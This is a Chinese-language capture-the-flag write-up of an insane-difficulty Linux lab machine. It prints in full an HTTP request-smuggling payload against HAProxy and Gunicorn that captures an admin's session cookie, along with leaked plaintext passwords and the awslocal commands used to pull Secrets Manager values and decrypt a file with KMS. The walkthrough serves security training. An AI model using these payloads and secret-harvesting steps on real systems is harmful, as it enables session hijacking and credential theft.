本文最后更新于:2022年6月6日 下午
                  
                
              
            
            
              
              insane难度初体验 & HTTP Smuggle攻击实操 & 云渗透学习
0x01 信息收集
1
   | nmap -sC -sV -v 10.10.10.22
 
  | 
 
发现端口22、3000、5000开启

访问3000端口,可以看到为某代码托管平台:

目前没有用户名和密码,但是explore可以发现存在的三个账户信息:

目光转向5000端口,注册并进行登录:

对该网站进行探索,发现的交互点如下:
- 首页最底下的评论功能:
 

- 首页的搜索功能:
 

- 笔记功能
 

另外还能发现admin账户的信息:

对这些存在交互的地方测试XSS,SQLi,SSTI,未果。
转变思路,先抓个包看看,可以发现存在的服务器信息,可以发现后端是gunicorn,然后代理使用了haproxy:

0x02 突破口
Google一下,可以看到HAProxy存在HTTP走私漏洞:

对那篇文章进行总结,于此题而言,攻击原理和要点如下:
正常情况下,对TE(Transfer-Encoding)头的优先级高于CL(Content-Length)头
 
在特殊字符\v的干扰下,haproxy没能识别出TE头,故遵照CL头的指示将构造的数据包中的所有内容发给了后端即Gunicorn。
 
Gunicorn不受\v的影响,因而将按TE头的指示以chunked的方式处理HTTP数据包。这种不一致造成了HTTP Smuggling攻击。
 
在实操过程中,默认的Connection头部值为close,我们需要将其改成keep-alive。这样会有更大概率接到admin用户提交的请求。
 
实操开始,首先建议在burp中开启对不可打印字符的显示:

然后我们在TE头处插入\v ,方法是先用base64编码,然后在Burp中解码:
插入\v之后继续构造请求,步骤如下:
- 按chunked方式构造请求,注意结束块处是
0\r\n\r\n 
- 将一个正常的数据包贴在下面,msg留空来接收数据
 
- 更改第一个数据包的
Connection头部值为keep-alive 
- 更改第二个数据包的CL头为一个较大的值,不然可能拿不到Cookie
 
构造完成的数据包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
   | POST /comment HTTP/1.1 Host: 10.10.10.225:5000 Content-Length: 793 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.225:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.225:5000/home Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug Connection: keep-alive Transfer-Encoding: chunked
  8 msg=test 0
  POST /comment HTTP/1.1 Host: 10.10.10.225:5000 Content-Length: 300 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.225:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.225:5000/home Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug
  msg=
 
  | 
 

发送数据包,拿到Cookie,替换后以admin账户身份登录站点:

在admin的note处可以发现三条凭证信息:

分别如下:
1 2 3
   | Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
 
  | 
 
第二条记录可以让我们登录进3000端口的gitea。
在Explore中,可以看到该代码托管平台中存在的4个repo:

其中,在Key_Management项目下的ec2.php中查看提交的历史记录,可以发现开发人员由于失误上传的私钥文件:


以及aws的access_id和access_secret:


保存私钥,chmod 600 后登录之,成功,拿到user.txt:

0x03 David’s shell
查看一下网络连接状态:
1 2 3
   | netstat -tulnp 
  netstat -tulnp | grep 127 
 
  | 
 

可以看到有个4566端口,结合之前我们发现的代码,不难推测上面跑着一个aws服务。

但这个地址有些奇怪,搜一下4566端口,可以发现有个localstack,查找资料后得知这就是一个模拟aws云服务的应用,用于云应用的开发和测试。

然后看下命令,可以发现有aws和awslocal。
aws和awslocal的区别是aws需要指定endpoint,awslocal不用。awslocal会直接和localstack进行对话。

对aws渗透中常见的lambda、cloudwatch、s3api函数进行测试,发现似乎都没开启相应的服务:
1 2 3
   | awslocal lambda list-functions awslocal cloudwatch list-dashboards awslocal s3api list-buckets
 
  | 
 

由于如上项目与logs有关,使用命令logs模块下的命令对logs进行探索。
如果不清楚命令的话,aws的读命令大多与get、list、describe有关,搜索如下关键字即可快速帮助我们确定命令
1
   | awslocal logs help| grep -E 'list|get|describe'
 
  | 
 

使用命令
1
   | awslocal logs describe-log-groups
 
  | 
 
可以找到一个log-group

进一步通过该log-group,可以找到一个log-stream
1
   | awslocal logs describe-log-streams --log-group-name cloudtrail
 
  | 
 

再进一步查看,得到一些有意思的事件名称:
1
   | awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222
 
  | 
 

Google一下,可以发现和aws的Secrets Manager有关:

同时aws的cli也有该命令

同样地,先看看有用的命令:
1
   | awslocal secretsmanager help| grep -E 'list|get|describe'
 
  | 
 

然后使用之前泄露的access_id和access_secret进行配置:

配置之后尝试列出所有的secrets:
1
   | awslocal secretsmanager list-secrets
 
  | 
 

之后分别拿到secrets的value值:
1 2 3
   | awslocal secretsmanager get-secret-value --secret-id 'Jenkins Login' awslocal secretsmanager get-secret-value --secret-id 'Sink Panel' awslocal secretsmanager get-secret-value --secret-id 'Jira Support'
 
  | 
 

对具有登录权限的用户进行查看,发现有root、marcus、david。刚好上面拿到的账号中也有一个david。

使用密码登录,拿到david的shell:

0x04 提权至root
在david家目录的某个文件夹底下能够发现一个servers.enc文件:

那就想着法子解密咯。回到之前的gitea,在Key_Management目录下能够发现有一个keys.php,可以看出它在与aws的kms服务进行交互:

Google一下,可以发现是aws的密钥管理服务,里面可能有我们想要的东西:

回到服务器,查看可用的命令:
1
   | awslocal kms help| grep -E 'get|describe|list'
 
  | 
 

首先看下存在的密钥:

先查看某一密钥的详细信息:
1
   | awslocal kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac
 
  | 
 

可以观察到有一Keystate字样,我们需要查找Keystate为Enabled的密钥。
写个简单的shell语句进行查找:
1
   | for i in $(awslocal kms list-keys | grep KeyId | awk -F\" '{print $4;}'); do awslocal kms describe-key --key-id $i | grep -E 'KeyId|Enabled' ; echo; done;
 
  | 
 

对State为Enabled状态的key进行查看:
1 2
   | awslocal kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 awslocal kms describe-key --key-id c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
 
  | 
 

我们使用第一个命令对得到的文件进行解密。首先使用help命令查看decrypt方法的使用

对着example构造我们的语句即可:

1
   | awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256
 
  | 
 

将得到的base64语句解码放进文件里,并使用file命令查看文件类型:
1 2
   | echo <base64code> | base64 -d > result file result
 
  | 
 

解压后继续查看文件类型:
1 2 3 4
   | mv result result.gz gzip -d result.gz ll file result
 
  | 
 

继续解压即可拿到密码:
1 2 3
   | mv result result.tar tar -xvf result cat servers.yml
 
  | 
 

拿到此密码即可登录root用户:

0x05 Summary
这是一个Insane难度的Linux靶机,主要考察内容如下:
- HTTP Smuggle攻击
 
- git利用
 
- aws云渗透